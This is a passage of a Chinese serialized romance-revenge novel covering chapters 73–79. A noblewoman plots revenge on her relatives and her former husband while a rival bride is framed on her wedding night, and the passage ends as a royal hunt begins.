荀臣克制着身体里的欲望,低声道:“母亲放心,我都懂。” 安平伯老夫人扫过姜如意身下的落红,心中的满意终于浮现,她狠狠地剜了眼心思歹毒的白清漪,转身冷哼一声走出门外。 待走到门边时,老夫人尽力地调整着脸上的笑容,尽量的让自己看起来更加的和善一些,她调整好状态之后转身出门。 “各位误会了,如意这孩子身体有些不适,正在偏房休息,今日我见到如意这孩子就打心底里喜欢,不如咱们先去前院商讨一下两家的婚事?” 姜柏舟眼中闪过喜色,和姜松岩对视一眼,两人当即点头答应。 姜二夫人眼中闪过悲痛,瞬间明白这事已成定局,身子不适在休息只是老夫人的场面话,她艰难地扯了扯嘴角陪笑着跟去前厅。 宁阁。 紫苏接到门房递来的信,转身快步回府,将信封递给姜清宁,后者果断地打开阅读。 “大小姐,如何?”紫苏紧张地询问。 张嬷嬷本就年迈,这次狠狠一撞,头晕目眩,动则反胃呕吐,大夫诊断说没有两个月身子是不可能好全。 从小被张嬷嬷照顾长大,将其甚至当做亲生母亲的紫苏心里含着恨意,迫切地想要知道姜家那两人离死还有多远! 姜清宁将信封毫无保留地递给她,脸上严肃道:“已经成了,安平伯府和姜府二房正在商议婚事,能够让荀臣屈服的,恐怕就是姜如意利用手段将身子给了他。” 紫苏看完,脸上闪过一丝满意,随即冷哼厌弃道:“婚前无媒苟合,当真是要脸面!” 姜清晞担忧:“阿姐下次出去办什么事,还是让我跟着吧,实在不行我可以男装示人,总好过再出现几天前的那些事。” “下次阿姐定然带着你。”姜清宁安抚小妹。 转身对着紫苏道,“下一步棋可以开始了,赌徒永远都不会摆脱赌鬼的身份,有了安平伯府作为倚仗,他们只会更容易的被哄回到从前。” “我要让荀臣在不久的将来,意识到自己的岳父是个什么样的人,到时候他是会和当初面对我一样视而不见,还是会倾力相助?如果想伸手帮衬他又该怎么得来银钱?” 姜清宁眼中闪过冰冷,她抬手摸了摸紫苏的头发以示安抚。 “不要担心,姜府早已经进入我们的圈套之中,想要再次转身逃出去,只能是做梦。” “姜家的祖宅是我们的,荀臣的仇是必报,嬷嬷的公道我更会帮她一点点地讨回来,谁都逃不掉!” 紫苏泪流满面:“奴婢多谢小姐!” 姜清宁给姜清晞一个眼神,后者瞬间了然的带着紫苏下去,眉眼之中满是心疼。 姜清晞觉得这京城的水太深了,深到刻骨冰寒,明明是一家人,她阿姐却被逼得走到如今的地步。 可姜家的那些人,在她姜清晞看来全部都是自讨苦吃,而她更不会心软发作,解救一些本就不无辜的人。 得罪阿姐的,全部都待死。 她眼底闪过寒芒,已然又有了决断。 第七十四章被当场抓到 深夜,一道黑色的身影快速落在姜府的屋顶。 片刻摸索过后,黑衣人身手敏捷的落在一处院落的屋顶。 待里面的灯光彻底暗下,责骂声与痛呼声消失不见之后,黑衣人轻手轻脚地落在窗外,用锐利的刀锋将窗户敲开。 紧接着黑影一闪,翻窗而入。 姜清晞脚下平稳安静地走到床幔旁,她用刀剑掀开床帘,看到里面满身红痕的女人,抬手一个狠厉的手刀将她劈晕。 “呵,臭不要脸。” 姜清晞嫌恶的骂了声,而后抬起手上的匕首,几道锋利的刀芒闪过,片片阴影落下。 转吸之间,听着门外渐近的脚步声,她在丫鬟进入房门的同时翻身跳出窗户,而后轻手轻脚地关紧窗沿,毫不犹豫地飞身离开姜府。 铜盆掉落在地与丫鬟的惊呼声从身后传来,姜清晞眼中闪过狡黠。 “从前便日日欺辱我阿姐,如今还敢在背后编排辱骂,这都是你应得的报应。” 姜清晞蹦蹦跳跳地回到宁阁,然而刚翻墙进入,她就感受到背后满是灯火通明的灯光,甚至一道道的人影映在墙壁上。 “姜清晞,夜半时分,你去了哪里?” 姜清宁冰冷的声音响起,充满无数的威压。 姜清晞背脊一僵,吓得闭紧双眼,而后缓缓地转身,一副做错事的模样低着头抱着双手。 “阿姐,我去……” “跟我回房间再说。” 姜清宁冷漠地丢下这句话,转身怒气冲冲的带着紫苏走向房间。 “二小姐,您快去认个错吧,大小姐方才找不到您,已经把府里翻遍了。” 一旁的管家举着火把,无奈的开口解释:“您不通知一声就溜出府里,还是在大晚上的,着实让大小姐担心啊……” 姜清晞艰难的点头,她嗫喏的抬步去追姜清宁的身影,然而刚走进房间,她对上姜清宁坐在主位上的目光,双腿一软直接跪在门边不起来。 “阿姐……我知道错了……”姜清晞老实地跪地认错。 “你去了哪里?” 姜清宁眼眸微闪,遮去眼底的心疼,让自己的眼里充满严肃,保持着全面的威严。 “我……我吃多了……胃里积食睡不着……刚才出去飞了一圈消消食。” 姜清晞挠了挠后脑,结结巴巴地开口解释。 姜清宁底嗤一声,冷声问:“那你这副姿态是在做什么?大胆的说出来不就行了?” 是哦,这样不就是承认自己犯错了吗? 姜清晞连忙站起来,快步走到姜清宁的面前,抬手要去挽着她的胳膊,笑得满脸讨好。 “哎呀阿姐你知道我从小最怕你的威严了刚才你那副严肃的模样,我能不怕吗?” 姜清宁将审视的目光丢在她的脸上,冷笑一声:“跪下!” 姜清晞几乎是条件反射,立刻跪在她的脚边,脸上全部都是懵懂的神情。 “阿姐?” “小妹,你当真以为我不知道你干什么去了吗?”姜清宁低眸看着她,抬手捏起她的下巴,让姜清晞无处可躲她的视线。 “你去了姜府讨回公道?找得姜如意?” 姜清晞的瞳孔微缩,惊恐地看着姜清宁,顿时无所遁形,心中惊叹她家阿姐的才能。 “阿姐,我知道错了。”姜清晞低头认错,她诚恳道,“阿姐要打要罚全部随你,只是阿姐别气坏了身子,我这是对自己的身手有一定的了解,再说姜家都穷成那样了,连个有腿脚的护院都请不起,我是不会失手的……” 姜清宁眼神的冷意增加,她望着姜清晞,抬手捏住她的脸蛋儿,手中的力道加重。 “阿姐!哎哎,阿姐我脸疼,阿姐你饶了我吧,我再也不敢这样了!” 姜清晞的身子随着姜清宁的力道和姿势倾斜,连连开口求饶。 姜清宁望着她委屈巴巴地喊疼,手中的力气再也无法加重。 于是姜清宁松开手起身,垂眸俯视着她:“姜清晞,我再告知你一遍,你若是下次再敢不和我说就如此胡作非为,我会直接请镖局把你送回岭南,自然有父亲母亲与兄长替我看管你。” 话音落下,姜清宁转身毫不犹豫地走进内室。 “紫苏,送她回去,禁闭三日,不许沾点心和荤腥!” 姜清晞瞳孔震了震,望着姜清宁决绝的背影,意识到她是真的生气了。 “阿姐,你是真的讨厌我了吗……” “二小姐,奴婢先送您回去吧,这三日会有丫鬟守着房门的,您可莫要再胡闹了。” 紫苏叹了口气,把姜清晞扶起来,带着失魂落魄的她往门外走,无奈地劝解道:“您不要在心里怨怪大小姐,大小姐又怎么会真的讨厌你呢?她是能够为家人付出生命的,自然是见不到您这种把自己置身危险境地的举动。“ “这三日里边您先好好地自省一下,姜家和安平伯府的仇怨,自然是有大小姐一手策划报复回去,一切都在进行之中,您的一举一动都有可能让计划失败。” “奴婢这不是在怨您,是大小姐无法承担计划失败之后,您被抓到把柄的几率,她这辈子最珍视的便是老爷、夫人、大公子和您了。” 姜清晞心中懊悔万分,不禁红了眼眶:“我先好好禁闭,出来后一定和阿姐道歉,以后阿姐让我干什么我就干什么,别的什么也不做了。” 紫苏含笑点头:“这样做就对了,大小姐盼望着咱们一家重逢的时候呢。” 姜清宁坐在铜镜前,垂眸梳着乌黑的及腰长发,紫苏打了水进来,走到她的身旁。 “大小姐别生气,二小姐只是心性单纯又过于在意您,所以想要为您讨回公道,她有自己的分寸的。” 姜清宁嗤笑:“要是真的有分寸,又怎会受伤?” 想到姜清晞生死未知掉落入院外的时候,她失神道:“紫苏,我宁愿她自私一些,当日的场景,我这辈子都不想再看到第二遍。” “女儿家都是爱美的,留了伤疤,我每每在她换药时看到,都心如刀绞。” 紫苏低叹:“大小姐……” 姜清宁眼眸低沉:“可找到京城中擅长射箭,力道极大的年轻官员?” 紫苏忙点头:“方才线人传来消息……” 第七十五章全完了 “京城之中的确有一位这样的郎君。” 紫苏的声音压得极低,带着难以掩饰的凝重,“但他是皇后娘娘的嫡亲外甥,奉国公的嫡幼子林衡,传闻此人……据说此人是少年英才,天生神力,更有一手出神入化的箭术,京中几乎无人能及。” 紫苏带来的消息像一块沉重的寒冰,砸在姜清宁的心头,激起冰冷刺骨的涟漪。 姜清宁的之间无意识的蜷紧,捏皱了袖口的布料。 如果真的是如此的话,林衡……这个名字的分量太重了。 紫苏脸色难看的补充:“恐怕就是这人伤的二小姐,他如今虽然还未及冠,但已经深得皇帝看重,又是皇后娘娘的母族中这一代最耀眼的子弟,年初刚点了武状元,直接入禁军队里就职的。” 姜清宁的眼神彻底沉了下来,如同覆上了一层寒霜。 她缓缓开口,每一个字都淬着寒意:“八九不离十了,晞儿肩上的箭伤深刻入骨,几乎贯穿,一般寻常的力道和箭术,绝不会产生这般透彻的伤痕,唯有天生神力加上顶尖的箭技……” “小姐,我们……”紫苏眼中是深深的忧虑,更带着愤怒交织。 “有机会一定要接触到此人,当初伤晞儿的那支箭头可还留着?” 姜清宁斩钉截铁,眼底闪过狠戾的锋芒。 紫苏连忙点头,想起当初的场景,声音都有些发颤:“小姐放心,留着呢,当初二小姐独自从岭南一路风餐露宿、九死一生地赶回来,刚入城听闻您与安平伯和离……她连家都没回,第一件事就是为您报仇,甚至对安平伯动了杀心。” “结果却遭到此人的阻拦,被一箭射穿肩胛,现在都不能用大力气……还好当初二小姐昏迷前进入的是咱们的院子。” 紫苏的声音哽咽了:“否则……奴婢想都不敢想……若是二小姐当日掉进了别人家,或是被当场抓住……” 姜清宁眼眸中闪过狠戾,接过了紫苏未竟的话:“否则晞儿掉入旁人的院落被抓住,刺杀朝廷新贵、皇帝亲封的安平伯,人赃并获,证据确凿,我姜家,此刻早已是被满门抄斩,血流成河了。” 房间内的空气仿佛凝固了,弥漫着后怕与刻骨的恨意。 “若真的是他林衡。”姜清宁一字一顿,眼中是毫不掩饰的杀伐决断,“这门仇,我姜清宁,一定要替晞儿报,十倍、百倍地讨回来!” “一定会的!”紫苏坚定地点头,眼神坚定。 但她又想起另一件棘手的事,眉头紧缩,“可是小姐,二小姐今日为了给您出气,将姜家二房那位如意小姐的发髻……给整个削了去。” “她从今以后顶着一头乱糟糟的短发,将如何出现在众人的眼前?下个月,可就是她与安平伯的婚期了,这……” 姜清宁闻言,嘴角勾起一抹讥笑的弧度:“慌什么,我们不说出去,没人知道是晞儿做的,她只是贪玩翻墙出去了一趟,只有咱们宁阁的下人们知道,将他们的嘴都封紧了,不要走漏了风声。” 她端起茶盏,轻轻撇去浮沫,语气带着洞悉一切的冷漠: “至于姜如意……她从前便趁我们大房遭难,只有我在京城孤立无援的时候诸多找麻烦,她落井下石的事情做得还少吗?” “如今她处心积虑,在安平伯府给荀臣下药,豁出脸面去厮混,不就是想用这下作手段攀上高枝,嫁入伯府?她倒是成功了。” “可她别忘了,安平伯府还有个视荀臣如命、苦心经营了多年的白清漪在,她作为深爱荀臣多年的表妹,今日又机缘巧合地与荀臣同样有了肌肤之亲,她会甘心看着自己觊觎多年的位置,被一个用龌龊手段爬上来的姜如意占去?她定然是不会愿意看到荀臣娶姜如意,也不会甘心做一个贱妾通房。” 姜清宁放下茶盏,发出一声轻响,仿佛预示着什么。 “安平伯府这潭水被姜如意这么一搅和,日后有的是鸡飞狗跳,狗咬狗的好戏看,我们只需要静观其变。” “当务之急,是把府里的那三个麻烦解决了,既然不能成为良才,那就只能当成祸患除去!” 紫苏宽慰姜清宁道:“大小姐放心,一直让人跟着呢。” 翌日,姜府二房院落。 一声凄厉到变调的尖叫声,骤然划破了清晨姜府的宁静。 “我的头发——!我的头发啊——!!!” 姜如意从昏迷中惊醒,望着眼前硕大的银针猛地睁开眼睛坐起来,而后习惯性地抬手去摸枕边备好的玉梳,指尖却触碰到一片刺啦啦、扎手的的怪异感觉。 她猛地掀开床帘下去,将面前的婢女和大夫踹翻,扑到梳妆台前那面巨大的铜镜前。 镜子里映出一张惊恐万分、扭曲变形的脸,而这张脸的上方,原本应该如云堆叠的乌黑秀发,此刻只剩下参差不齐、狗啃一般的短短发茬,东一撮西一缕地乱翘着,活脱脱一个刚从灶膛里钻出来的疯婆子。 “啊——!!!” 更加尖锐绝望的嘶嚎声从姜如意的喉咙里爆发出来,她疯狂地抓挠着自己的头顶,仿佛想确认这只是一场噩梦。 然而身上昨日留下的刺痛,无时无刻的不在提醒着她,这一切都不是梦,她真的失去了自己最宝贵的东西。 “谁干的!是谁,我要杀了他,我要杀了他!” 门外等候的姜柏舟和姜二夫人跌跌撞撞地冲进女儿的闺房,当切实的看到姜如意那惊世骇俗的模样时。 姜柏舟只觉得眼前一黑,天旋地转,仿佛整个世界都在崩塌。 他踉跄着扶住门框才没摔倒,嘴唇哆嗦着,一个字也说不出来,脑中只剩下一个念头: “完了,全完了,下个月就是和安平伯府的婚期,稍后就是安平伯府来送聘礼的时候,她顶着这副鬼样子,还怎么嫁出去?荀家还会要吗?” “我姜柏舟攀附权贵、重振二房、重振姜家的唯一指望……就这么毁了?” 第七十六章大婚 “我的儿啊!我的心肝!” 姜二夫人扑了上去,抱着姜如意嚎啕大哭,哭声撕心裂肺,充满了绝望。 “哪个天杀的畜生,竟然做出这等断人前程的恶事啊!我苦命的如意啊……” 她一边哭,一边徒劳地试图将姜如意头上那些乱翘的短发捋顺,却只让场面更加惨不忍睹。 母女俩泪眼朦胧的对视一眼,齐齐地抱着互相哭了起来。 二房的哭嚎震天动地,很快引来了住在隔壁院的三房。 姜松岩带着夫人探头探脑的进来,看到姜如意的模样,也是倒吸了一口凉气,惊骇莫名。 “二哥……二嫂……如意这是怎么了?”姜松岩迟疑着开口,心中怎样都无法平静下来。 姜柏舟回神,望着姜松岩茫然的模样,却如同抓住救命稻草,他一把抓住姜松岩的胳膊,声音都在抖: “三弟、三弟、你快想想办法,如意她……她这样可怎么是好?下个月、下个月可就是和安平伯府的婚期啊!” “二哥你别急,容我先想办法。” 姜松岩眉头紧锁,三角眼里闪烁着精明的算计,和一丝不易察觉的幸灾乐祸。 昨夜还嫉妒二哥有这等好福气,能够攀上安平伯的门第,今日便出了这等子事情。 他捻着下巴上稀疏的胡须,围着哭得快要背过气去的姜如意转了两圈,浑浊的眼珠子滴溜溜地乱转。 突然他猛地一拍大腿,凑近姜柏舟压低声音道:“二哥二嫂,你们先别哭了,哭能把头发哭回来吗?眼下……倒也不是没有办法!” 哭声戛然而止,所有人抖提溜着眼珠看着姜松岩。 姜松岩靠近姜柏舟,低声道:“这头发虽然一时半会儿是长不出来了,但是可以借啊。” 姜二夫人茫然:“借?三弟,你的借是什么意思啊?” 姜松岩眼中精光一闪,目光扫过屋内侍立,同样吓得瑟瑟发抖的几个婢女。 “府里这么多丫头,她们的头发不都是现成的?挑几个头发浓密乌黑的,把她们的头发剪下来找最好的工匠做成发髻,只要做得跟真的一样,到时候戴在如意的头上,盖上盖头,洞房花烛……谁能看得出来?” 此言一出,屋内顿时陷入一片诡异的死寂。 姜如意停止了哭泣,红肿的眼睛里先是茫然,随即猛地迸发出一种抓住最后一根稻草,扭曲的希冀光芒。 她死死地抬头盯着那些婢女,眼神如同饿狼看到食物一般。 而那些侍立在一旁的婢女们,瞬间面无人色,惊恐地捂住了自己的头发,身体不受控制地颤抖起来,眼中充满了绝望。 一场针对姜府婢女头发的无声“屠杀”,在姜二夫人和姜如意扭曲的希冀与姜松岩冷酷的“指点”下,悄然拉开了序幕。 接下来的日子,姜府后宅彻底沦为人间地狱。凄惨的哀求声、压抑的哭泣声、剪刀冰冷的“咔嚓”声,不时从二房的院落里传出。 往日里还算平静的姜府,笼罩在一片愁云惨雾之中,下人们人人自危,走路都低着头,生怕自己一头还算过得去的秀发被二房主子们“相中” 一月后。 尽管过程充满了不堪与血泪,姜如意终究还是顶着耗费了不知多少婢女青丝、精心制作的、几可乱真的假发髻,穿着一身刺目的大红嫁衣,在一种极其诡异和压抑的气氛中,被一顶花轿抬出了姜府。 唢呐声吹得震天响,鞭炮的红纸屑铺满了从姜家到荀家的长街。 阁楼上,姜清宁凭栏而立,冷眼望着那顶花轿消失在街角。 她的脸上没有任何表情,只有眼底深处掠过一丝冰冷的嘲弄。 “大小姐。”紫苏悄无声息地来到她身后,低声道,“荀府那边……白清漪果然没闲着。” “据咱们埋在伯府的眼线报,昨夜白清漪在老夫人面前哭晕过去好几次,口口声声说自己是''失了清白无颜苟活’,又暗示如意小姐手段下作……” “老夫人气得够呛,伯爷的脸色也难看得紧,这新夫人还没进门,水就已经浑透了。” 姜清宁唇角微勾:“很好,让他们自己先斗个你死我活吧。” 她转身,不再看那喧嚣的迎亲队伍,“我们的目标是林衡,那支箭准备好了吗?” “小姐放心,万无一失。”紫苏肃然道。 安平伯府,张灯结彩,红绸高悬。 唢呐锣鼓喧嚣震天,宾客如云,笑语喧阗。 仆役们穿着簇新的青衣,端着金盘玉盏穿梭不息,处处彰显着伯爵府对待这场婚事的“隆重”。 然而,这份热闹之下,却隐隐流动着一股难以言喻的压抑与怪异。 新郎荀臣身着簇新的绯红麒麟补服,腰束玉带,头戴梁冠。 他身姿依旧挺拔,面容依旧俊朗,但那双深邃的眼眸里却不见一丝喜气,只有一片深不见底的厌恶与被强行绑缚的屈辱。 盖着大红盖头的姜如意被喜娘搀扶着,小心翼翼地从轿中出来。 荀臣伸出手,照礼仪接过牵引新娘的红绸,指尖冰冷得没有一丝温度。 红绸的另一端,姜如意盖头下的脸上,混杂着极致的紧张、扭曲的得意与一丝难以言喻的恐惧。 花轿落地,踢轿门、射箭、跨火盆……繁琐的礼仪在喜婆高亢的唱喏声中,按部就班地进行着。 荀臣下颌绷得死紧,仿佛不是在迎娶新娘,而是在执行一项令人作呕的苦役,每一个动作都带着一种被强加的僵硬,每一次向宾客回礼,嘴角扯出的弧度都冷硬不已。 姜如意死死攥着红绸,指节发白,每一步都走得如履薄冰,生怕一个趔趄,就让她苦心经营的一切化为泡影。 “一拜天地!” “二拜高堂!” “夫妻对拜——!” “礼成!送入洞房!” 盖着厚重红盖头的姜如意被喜娘小心搀扶着,她头上是顶为今日特制的、镶嵌着硕大珍珠的华丽珠冠,沉重得几乎要将她纤细的脖颈压弯。 层层叠叠的赤金流苏垂落下来,形成一道密不透风的帘幕,将她整个头部遮挡得严严实实。 她感受着四面八方投来的探究、好奇、甚至带着鄙夷的目光,如同芒刺在背,只得更加小心翼翼地走着,生怕一个行差踏错,彻底沦为京城的笑柄,连带着荀臣和整个安平伯府都颜面扫地。 第七十七章后院冲突 与正厅喧嚣热闹形成鲜明对比的,后宅西侧一所僻静的院落处。 这里门窗紧闭,帘幕深垂,将外界的喜庆乐声隔绝了大半,却无法隔绝那如同跗骨之蛆般钻进耳朵里的喧嚣。 白清漪穿着一身素得刺眼的月白衣裙,长发未挽,披散着,衬得她脸色惨白如鬼。 她眼窝深陷,嘴唇被自己咬破,渗出的血珠在惨白的皮肤上显得格外狰狞,精心描绘的妆容早已被泪水糊成一片污浊。 “送入洞房——!” 外面高亢刺耳的声音,如同最后的丧钟,狠狠撞碎了白清漪最后一丝理智。 她像是一头被彻底激怒的母兽,猛地从冰冷的地面上站起来,冲到梳妆台前,铜镜里面映出一张因极致嫉妒和恨意,完全扭曲的脸,苍白、怨毒、眼中燃烧着毁灭一切的火焰。 “洞房?洞房花烛……”白清漪喃喃自语,声音嘶哑破碎,“姜如意……你这个贱人,你凭什么?你凭什么能够走进表哥的洞房?那本该是我的,是我的!” “当年姜清宁没有送嫁、没有拜堂,依旧走进表哥的心里,走到他的身旁。” “现如今啊,姜清宁的妹妹也能成为表哥的继室,凭什么天底下姓姜的都要跟我过不去?老天爷,你不公平!” 白清漪猛地将桌面上,荀臣一早让人送来的收拾衣衫打翻在地,东西噼里啪啦地碎了一地,两个丫鬟连忙跪倒在地,生怕被她抓到开罪。 新房内,红烛高烧,映照着满室刺目的红,喜娘和丫鬟们早已经被荀臣一个眼神吓退了出去,只留下这对如今看来注定貌合神离的新人。 姜如意的脖颈被沉重的珠冠压得酸痛,盖头下的空气闷热不已,她感受到荀臣的到来,紧张地绞着手指。 红烛燃烧出噼啪声,下一秒,她头上的盖头被猛地掀开。 骤然的光线让姜如意不适的弥勒眯眼睛,她抬起头,对上荀臣那双毫无温度、只有浓烈审视和毫不掩饰厌恶的眼眸。 “呵姜小姐目的达到,是不是终于得偿所愿,觉得自己攀上高枝了?” 姜如意脸色瞬间惨白,羞辱感如同潮水般要将她淹没:“臣哥哥……我……” “闭嘴!” 荀臣厉声打断,眼中厌恶更甚:“谁允许你这样叫本官了?别用你肮脏的嘴玷污了本官的名字!” “你知道吗?你这幅样子,和你当初在书房故作偶然,出现时的模样简直一模一样的令人作呕!” 姜如意浑身巨颤,屈辱的泪水终于夺眶而出,却倔强地不肯落下。 “荀臣!你……你别太过分!我是你明媒正娶的妻子!” “妻子?”荀臣像是听到一个天大的笑话一般,他抬手紧紧固住姜如意的下巴,手中力道逐渐加重。 “一个用龌龊手段买通安平伯府下人,对我下药爬床的女人,在我心里可算不上是妻子,姜如意,你和你头上这堆发钗一样,金玉其外败絮其中,虚伪得令人作呕!” “你——!”姜如意气得浑身颤抖,猛地站起身,头上的珠翠因剧烈的动作,发出一阵急促的碰撞声,吓得她脸色更白,连忙稳住身形。 门外传来一声轻微的敲门声。 荀臣眉头一皱,转身厉声喝道:“谁?” 房门顷刻间被轻轻推开一条缝,一个小小的身影站在门外。 他身着寝衣,小脸上挂满了泪痕,大大的眼睛里充满了惊恐和委屈。 “爹爹……”荀莫离的声音带着哭腔,目光不由自主地落在姜如意身上,“她是谁?为什么在这里?清漪姨姨哭得好伤心,她说爹得不要她了……” 荀莫离的出现,像是一盆冷水,暂时浇熄了新房内即将爆发的火焰。 荀臣看到儿子,脸上的戾气稍敛,但依旧冰冷。 他走到荀莫离的面前,蹲下身子,尽量放缓语气:“莫离,这么晚了怎么还不睡,谁带你过来的?” “我……我自己过来的。”荀莫离紧紧地抓护荀臣的衣角,哽咽道,“我听到爹爹和这人发生好大的争吵,爹爹,你不要和清漪姨姨吵架好不好,我更喜欢清漪姨姨……” 荀莫离的话像刀子一样扎在姜如意欣赏,她无论如何都没有想到,自己万般期待的婚事,期待的新婚之夜,丈夫厌恶她,继子不仅不认识她,还口口声声念着别的女人! 一股强烈的恨意和不甘瞬间冲垮了姜如意的理智,她猛地尖声叫道:“荀莫离!你看清楚了,我是你爹明媒正娶的妻子,是你的母亲,以后要管教你的人是我,不是什么下贱的爬床婢女!” “够了!”荀臣抱起儿子,脸色铁青地怒视姜如意,“姜如意你发什么疯?吓唬孩子算什么本事,滚出去,今晚你去厢房睡!” “你让我滚?”姜如意彻底崩溃,委屈、愤怒、恐惧、不甘瞬间爆发,她不管不顾地抓起手边沉重的烛台,就要朝着地上砸去。 “住手!”荀臣厉声喝道。 混乱之中,门外突然传来一声凄厉的尖叫。 “啊——!” 荀臣脸色骤变,顾不上姜如意,抱着荀莫离瞬间冲出门去。 姜如意举着烛台的手僵在半空,脸上还挂着泪痕和愤怒,却被这突如其来的变故弄蒙了。 荀臣循着声音冲到后罩房附近的花园月洞门处,眼前的景象顿时让他吃了一惊。 白清漪跌坐在冰冷的地上,衣裙凌乱,发髻散开一半,脸上带着惊魂未定的恐惧。 在她脚边的不远处,一把闪着寒光的匕首,静静地躺在那里。 “表妹,这是怎么回事?”荀臣放下荀莫离,快步上前扶起白清漪,声音带着他自己都没察觉的紧张。 “表哥,我……我担心你,想来看看,结果看到她拿着一包粉末要放在酒水里,我冲进去夺过来就跑了,结果她让丫鬟拿着匕首追出来……” 白清漪如同抓住救命稻草,死死地抱住荀臣的手臂。 “她想杀我,表哥,她想杀了我灭口,她一定是怕我把下药的事情说出来,她好狠的心啊!” 第七十八章心思活络的男人 荀臣怒极,猛地转头看向随后跟来的,举着烛台站在新房门口,一脸茫然惊愕的姜如意。 “姜如意!你竟然有这么狠毒的心肠,新婚之夜竟敢在府中再次使用这等下三滥的药物,还想让婢女持刀行凶,我不会放过你的!” “不……我没有……这不是我干的?” 姜如意惊恐的后退,对上紧紧依偎在荀臣怀里、眼神却向她投来怨毒和得意的白清漪,瞬间明白这是她的陷害。 “是她!是白清漪这个贱人,是她自己演的一出戏,是她想害我才对。” “当日我本要昏迷,是她出现,我以为她要救我,但是谁曾想醒过来之后她已经成了你的女人,这个女人处心积虑,就是她想要一直害我!” 荀臣怒极反笑:“害你?人赃并获你还敢狡辩!” “来人!”荀臣根本不给姜如意辩解的机会,厉声高喝。 几个心腹护卫立刻应声出现。 “把这个毒妇给我押下去!关入祠堂旁边的静思院,没有我的命令,任何人不得探视!给我严加看守!” 荀臣语气带着不容置疑的决绝,他看向姜如意的眼神,只有深不见底的冰冷和厌恶。 姜如意拼命挣扎:“荀臣,白清漪!你们都冤枉我,是白清漪在陷害我!” 护卫们根本不听,粗暴地架起她就往外拖。 “白清漪!你这个贱人!我做鬼也不会放过你!你就祈祷别有落在我手里的一天!” 姜如意凄厉的诅咒在夜空中回荡,充满了绝望和不甘,最终消失在黑暗之中。 宁阁内。 姜清宁听着紫苏详细禀报的,昨夜安平伯府的惊天闹剧,脸上没有任何意外,全部都是平静。 “白清漪果然没让我失望,够狠,也够蠢。” 姜清宁端起茶盏,轻轻吹了口气,“用同样的药去栽赃,这是生怕荀臣想不起来那日的耻辱。” “大小姐,二房这下算是彻底栽了,姜如意被关名声扫地,二老爷夫妇也成了笑话,他们现如今正往安平伯府赶呢。”紫苏低声道。 “咎由自取罢了。”姜清宁放下茶盏,声音清冷,带着一丝尘埃落定的漠然,“他们的价值到此为止了,清理门户的下一步,是那爬在姜家祖业上吸血的蛀虫——三房。” 紫苏眼中闪过一丝快意:“大小姐说的是,三老爷这些年变本加厉,赌瘾越发深重,简直把祖产当成他们的私库!若非大小姐您……” 她顿了顿,没有明说,但主仆二人心照不宣。 姜家三房姜松岩,天生一副烂赌骨,大房被流放前有大哥压着,尚不敢太过放肆。 后来出了事,他们就如同老鼠掉进了米缸,姜清宁冷眼旁观八年从未制止,甚至在某些关键时刻巧妙地推波助澜。 “他们蹦跶不了多久了。”姜清宁唇角勾起一抹冰冷的弧度,眼中毫无怜悯。“贪婪会自己吞噬他们,现在我们只需要等一个合适的契机,让他们彻底消失,将蛀空的祖产合理的收回来。” 姜清宁转向紫苏:“当务之急是林衡那边,机会什么时候能来?” 紫苏立刻正色,眼中闪烁着兴奋的光芒:“小姐,机会马上到了。” 她压低声音,语速极快:“宫中传出消息,三日后陛下将在西郊皇家猎苑‘春猎’,一来是庆贺安平伯治水功成,二来也是再次考教新晋武状元林衡的骑射功夫,以示恩宠。” “据说京中三品及以上的官员及其家眷、勋贵子弟皆在受邀之列。” 姜清宁猛地站起身,指尖无意识地划过案桌,这是天赐的良机,公开场合众目睽睽之下,林衡必定会展示他那冠绝京华的箭术,这正是她验证那支箭的最佳时机。 “很好。”姜清宁深吸一口气,压在心头的激动,迅速冷静下来,“紫苏,立刻准备,我要一份最详细的猎苑地形图,尤其是陛下观礼台和勋贵子弟们惯用狩猎的区域。” “还有,想办法弄清楚林衡惯用的弓弩形制,箭矢偏好,越详尽越好。” “明日再帮我请秦休秦大人,就说府中备了谢礼,想要当面交付。” “是,小姐,奴婢这就去办。”紫苏领命,立刻转身去办。 姜清宁走到窗边,推开窗户,春日暖阳洒落,却驱不散她眼底凝结的寒霜。 她自认为从始至终便睚眦必报,但从来都有自己坚守的底线,触及她可以,但是她的家人不行。 一日不为晞儿报仇,她心中就一日咽不下这口气! 翌日。 秦休一大早就站在宁阁的门外,披风下的双手紧握了握,身旁的青之与青冥控制不住的打着哈欠。 “大人,您就快进去吧,这身衣衫当真是好极了,这可是国公夫人亲自安排人为您新做的衣衫。” “你穿上啊简直如仙君下凡,英武不凡,快进去吧。” 青之悲哀的狂打哈欠,不住的催促着秦休。 昨日自从听到姜大小姐的消息,大人便一整日都坐立难安,后来临近下值他去收拾案桌,才发现大人把接下来七日的文件都处理了。 今日世子院的书房,更是天没有一丝亮度的,就被秦休点燃了蜡烛,作为下人自然是不敢再睡了。 “拿着,本官这就进去。” 秦休接下披风,抬步走进宁阁大开的大门,青之和青冥无奈的对视一眼,二人无奈地抬步跟上。 前院。 秦休坐在一侧等候,管家为他奉上茶点,下人们鱼贯地抬着礼品上前。 “这是……”秦休讶异,姜清宁的谢礼这么多的吗?好似都不便宜。 管家含笑捋了捋胡须,恭敬道:“大人这段时日一直帮助我家小姐,后来更是给二小姐批了身份文书,宁阁自然是要奉上厚礼相待的,您看着可还满意?” 秦休抿唇,说不上满意,心中更是涌起淡淡的失落:“她……不出来见我吗?” 管家顿了下,反应过来他说的什么。 他无奈道:“大人有所不知,二小姐这些时日闹着要去京郊外的庄子上狩猎,大小姐因着担心京郊外如今匪患多流民多实在是危险,只是让人去寻了无数的好皮子,可惜二小姐不喜欢,现下两人还在闹脾气呢。” 秦休眼底暗芒一闪,指尖轻敲了几下桌面。 第七十九章我希望你赢 秦休轻笑一声,微微摇头道:“两日后,西郊皇家猎苑,届时我来府外接她和小妹。” 西郊皇家猎苑。 旌旗招展,骏马嘶鸣,一派皇家威仪与春日狩猎的勃勃生机,巨大的明黄色御帐高耸于视野最佳的山坡之上。 皇帝端坐其中,皇后与贵妃伴驾左右,两侧是宗室勋贵、文武重臣。 荀臣作为治水功臣,位置颇为靠前,只是他神色淡漠,似乎还未从新婚之夜的闹剧中完全抽身。 猎场边缘,属于女眷们的彩棚区域,亦是花团锦簇,环佩叮当。 姜清宁一身素雅的月白骑装,外罩一件淡青色的薄纱披风,乌发简单挽起,只簪了一支素银簪子,在一众浓妆艳抹、争奇斗艳的贵女中显得格格不入,却又清冷出尘,引人侧目。 “这人是谁啊,怎的从前好似见到过?” “她呀?不是安平伯的前妻姜清宁吗?那个轰轰烈烈的闹着要和离,最后和秦国公府做邻居的那位。” 